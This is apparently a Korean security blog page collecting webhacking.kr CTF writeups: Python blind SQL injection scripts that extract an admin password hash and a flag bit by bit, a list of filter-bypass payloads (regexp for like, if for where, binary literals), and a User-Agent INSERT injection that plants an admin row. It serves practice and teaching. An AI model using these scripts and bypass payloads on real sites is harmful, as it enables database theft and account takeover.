Flask-Dev

2020. 10. 5. 16:48

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[dreamhack] file-csp-1 writeup

2020. 7. 28. 16:20

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[dreamhack] php-1 writeup

2020. 6. 29. 17:32

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

반응형

우선 ID와 PW를 test로 하여 회원가입을 하고 로그인을 시도하였다.

로그인 시 uuid 파라미터와 pw 파라미터에 SQL Injection을 시도한 결과 uuid 파라미터에서 터지는 것을 확인하였다.


먼저 간단하게 admin으로 로그인하기 위해 다음과 같이 시도하였지만 Wrong password!라고 떴다.


그래서 해당 문제를 풀기 위해서는 Blind SQL Injection을 통해 admin의 PW를 획득해야 함을 추측할 수 있다.


우선 조건이 참일 경우에는 다음과 같이 Wrong password!라고 출력된다.


조건이 거짓일 경우에는 Login Fail이라고 뜬다.


이 둘의 차이를 이용하여 admin의 PW의 hash 값을 찾을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
url="https://webhacking.kr/challenge/bonus-2/index.php"
flag=""
req_header = {'Content-Type':'application/x-www-form-urlencoded'}
 
for i in range(1,33):
    binary=''
    for j in range(1,8):
        req_data = {
            "uuid":"' or id='admin' and 1=substr(lpad(bin(ascii(substr(pw,"+str(i)+",1))),7,0),"+str(j)+",1)#",
            "pw":"test"
        }
 
        response = requests.post(url,data=req_data)
        print(response.request.body)
 
        if('Wrong' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i = int(binary, 2)  # 문자열을 2진수로 변경
    flag = flag + b2i.to_bytes((b2i.bit_length() + 7// 8,
                               'big').decode()  # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] " + flag)
 
print("[+]Final Flag : " + flag)
 
cs

결과로 출력된 해시값을 decrypt 해주면 PW가 출력된다. 접미사인 apple을 제외하고 로그인하면 solve!


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-13 writeup  (0) 2020.04.22
webhacking.kr old-08 writeup  (0) 2020.04.21
webhacking.kr old-07 writeup  (0) 2020.04.21
webhacking.kr old-06 writeup  (0) 2020.04.21
webhacking.kr old-02 writeup  (0) 2020.04.21
블로그 이미지

rootable

,
반응형

1. Database 확인

 ◎ 길이 : ?no=if((7)in(length(database())),1,2)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
 
url="https://webhacking.kr/challenge/web-10/"
flag=""
 
for i in range(1,8):
    binary=''
    for j in range(1,8):
        param='?no=if((1)in(substr(lpad(bin(ord(substr(database(),'+str(i)+',1))),7,0),'+str(j)+',1)),1,2)'
        response = requests.get(url+param)
 
        if('<td>1' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i = int(binary, 2)  # 문자열을 2진수로 변경
    flag = flag + b2i.to_bytes((b2i.bit_length() + 7// 8,
                               'big').decode()  # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] " + flag)
 
print("[+]Final Flag : " + flag)
 
cs


 ◎ database명 : chall13


 ◎ 해당 데이터베이스 총 테이블 수 = 2개

 - ?no=if((4)in(select(count(if((table_schema)REGEXP(database()),table_name,null)))from(information_schema.tables)),1,2)


2. Table명 확인

 ◎ 길이

 1) 최대의 길이 = 4

  - ?no=if((4)in(select((length(MAX(if((table_schema)REGEXP(database()),table_name,null)))))from(information_schema.tables)),1,2)

 2) 최소의 길이 = 13

  - ?no=if((13)in(select((length(MIN(if((table_schema)REGEXP(database()),table_name,null)))))from(information_schema.tables)),1,2)


 ◎ 테이블명

 1) 최대의 길이 테이블명 = list

 - ?no=if((1)in(select(substr(lpad(bin(ord(substr((MAX(if((table_schema)REGEXP(database()),table_name,null))),1,1))),7,0),1,1))from(information_schema.tables)),1,2)

 2) 길이 최대의 테이블명 = flag_ab733768

- ?no=if((1)in(select(substr(lpad(bin(ord(substr((MIN(if((table_schema)REGEXP(database()),table_name,null))),1,1))),7,0),1,1))from(information_schema.tables)),1,2)


3. 테이블 내 Column 확인

 ◎ 컬럼 수 = 1개 

 - ?no=if((1)in(select(count(if((table_name)REGEXP(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000),column_name,null)))from(information_schema.columns)),1,2)


 ◎ 컬럼 길이 = 13

 - ?no=if((13)in(select(length(if((table_name)REGEXP(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000),column_name,null)))from(information_schema.columns)),1,2)


 ◎ 컬럼명 = flag_3a55b31d

 - ?no=if((1)in(select(substr(lpad(bin(ord(substr((if((table_name)REGEXP(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000),column_name,null)),1,1))),7,0),1,1))from(information_schema.columns)),1,2)


4. 데이터 확인

 ◎ 데이터 수 = 2개

 - ?no=if((10)in(select(count(flag_3a55b31d))from(flag_ab733768)),1,2)


 ◎ 최대의 길이 = 27

 - ?no=if((27)in(select(length(MAX(flag_3a55b31d)))from(flag_ab733768)),1,2)


 ◎ 최소의 길이 = 4

 - ?no=if((4)in(select(length(MIN(flag_3a55b31d)))from(flag_ab733768)),1,2)


 ◎ 최대 길이의 값 = FLAG{challenge13gummyclear}

 - ?no=if((1)in(select(substr(lpad(bin(ord(substr(MAX(flag_3a55b31d),1,1))),7,0),1,1))from(flag_ab733768)),1,2)



※ 사용한 Filter Bypass list

 - like → regexp 

 : 현재 문제에서는 싱글쿼터 사용이 불가능하여 제대로 사용되지 않았지만 추후 like 구문이 필터링될 때 사용 가능할 것으로 판단


 - ascii, hex → ord

 - 0x → 0b

 - limit → MAX, MIN

 : MAX와 MIN을 이용할 경우 2개까지만 확인이 가능하지만 현재 문제에서는 이것을 사용하라는 듯 데이터가 1개 혹은 2개여서 solve가 가능하였음.


 - where → if

 : 가장 신기했던 건데 if 구문을 이용하여 해당 조건에 맞을 때 원하는 컬럼을 가져오고 아닐 때는 null을 출력하도록 하면 해당 데이터만 출력된다. 이와 관련해서는 좀 더 자세한 포스팅을 남겨두겠다.

 : 관련 포스팅 : https://rootable.tistory.com/entry/SQL-Injection-where-filter-bypass?category=621913



반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-22 writeup  (0) 2020.04.23
webhacking.kr old-08 writeup  (0) 2020.04.21
webhacking.kr old-07 writeup  (0) 2020.04.21
webhacking.kr old-06 writeup  (0) 2020.04.21
webhacking.kr old-02 writeup  (0) 2020.04.21
블로그 이미지

rootable

,
반응형

1. 문제분석


<?php
$agent
=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(
preg_match("/from/i",$agent)){
  echo(
"<br>Access Denied!<br><br>");
  echo(
htmlspecialchars($agent));
  exit();
}
$db dbconnect();
$count_ck mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if(
$count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }

$result mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck mysqli_fetch_array($result);

if(
$ck){
  echo 
"hi <b>".htmlentities($ck[0])."</b><p>";
  if(
$ck[0]=="admin"){
    
mysqli_query($db,"delete from chall8");
    
solve(8);
  }
}

if(!
$ck){
  
$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo(
"<br><br>done!  ({$count_ck[0]}/70)");
}
?>


문제는 요청의 USER_AGENT를 기반으로 사용자를 구분한다.

이 때 해당 USER_AGENT에 해당하는 데이터가 없으면 insert 구문을 통해 새로 데이터를 생성한다.


2. 풀이

해당 문제는 간단한 SQLI 문제이다.


ip 변수에 대입되는 $_SERVER['REMOTE_ADDR] 부분은 수정할 수 없으므로 HTTP_USER_AGENT 부분을 변경해주어야 한다.

따라서 insert 구문을 진행할 때 $agent부분에 다음과 같이 들어가도록 요청 내 user-agent를 변경해 요청해준다.

rootable','1','admin'),('123


이후 useragent를 rootable로 변경하여 접근해주면 문제가 풀린다.


(참고)

user-agent에서 #은 URL encoding 없이 그대로 들어가므로 %23이 아니라 #이라고 그대로 작성해주어야 한다.

즉, User-agnet 부분에 [ rootable','1','admin')# ] 과 같이 입력해주어도 정상적으로 insert되고 문제를 solve할 수 있다.


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-22 writeup  (0) 2020.04.23
webhacking.kr old-13 writeup  (0) 2020.04.22
webhacking.kr old-07 writeup  (0) 2020.04.21
webhacking.kr old-06 writeup  (0) 2020.04.21
webhacking.kr old-02 writeup  (0) 2020.04.21
블로그 이미지

rootable

,